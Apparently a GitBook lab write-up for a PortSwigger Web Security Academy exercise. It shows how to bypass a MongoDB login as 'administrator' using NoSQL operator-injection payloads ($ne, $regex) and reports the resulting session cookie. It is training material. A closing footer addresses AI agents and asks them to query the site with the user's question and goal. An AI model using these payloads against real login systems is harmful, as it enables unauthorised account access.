> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md).

# Bypass Authentication via Injection NoSQL Controllers

Bypass Authentication via Injection NoSQL Controllers notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting NoSQL Operator Injection to Bypass Authentication

**Lab Background**

The connection functionality of this lab is based on a database **MongoDB (NoSQL)**. / It is vulnerable to \*\* NoSQL injections via MongoDB\*\* operators.

\*\* Target:\*\*/ Connect to the application as **user `administrator`** without knowing its password.

Valid credentials are provided for a standard user:

* **wiener : peter**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c764e45584a67ec33686fbd3363dcf366eac536%2F%7B20190601-DCE3-410B-8676-26CEE7EAFFF2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Login Form Behavior**

A login panel is present. / The request sent to the server via **POST** is in JSON format:

```json
{
    "username":"wiener",
    "password":"peter"
}
```

**Injection attempt with `$ne` operator**

A first idea is to force the administrator to authenticate by indicating that his password is different from x

```json
{
  "username": "administrator",
  "password": { "$ne": "x" }
}
```

This attempt **does not work** in this particular case.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5711c5ea70c6901b12dabd241f358c3903784a24%2F%7BD656CF81-4BD4-4C69-9223-492E3F47DB1F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Contouring with operator `$regex`**

Injection is possible using the **`$regex`** operator, which allows matching patterns on the fields.

**Example functional with user wiener**

```json
{
  "username": {
    "$regex": "wie.*"
  },
  "password":  "peter"
}
```

This query corresponds to any user whose name starts with `wie`.

**Access as a passwordless administrator**

Without knowing the administrator's password, the following combination can be used:

```json
{
  "username": {
    "$regex": "^a"
  },
  "password": {
    "$ne": "x"
  }
}
```

\*\* Logical interpretation:\*\*

> « Give me a user whose name starts with **a**/ and whose password **n is not equal to x** »

**Result**

The server accepts the request and responds with a **302 Found**, indicating successful authentication.

A new session cookie is returned:

`Set-Cookie: session=1jnvdOe3aaWIAyrj3WzRRJA1X40Ma1QU`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d36915a3e8eee8e00576816318fc843b0c6df96e%2F%7B1FE316B6-4F4A-458F-A7D8-8CBA0F820A2E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Access to the application is now carried out as an administrator\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
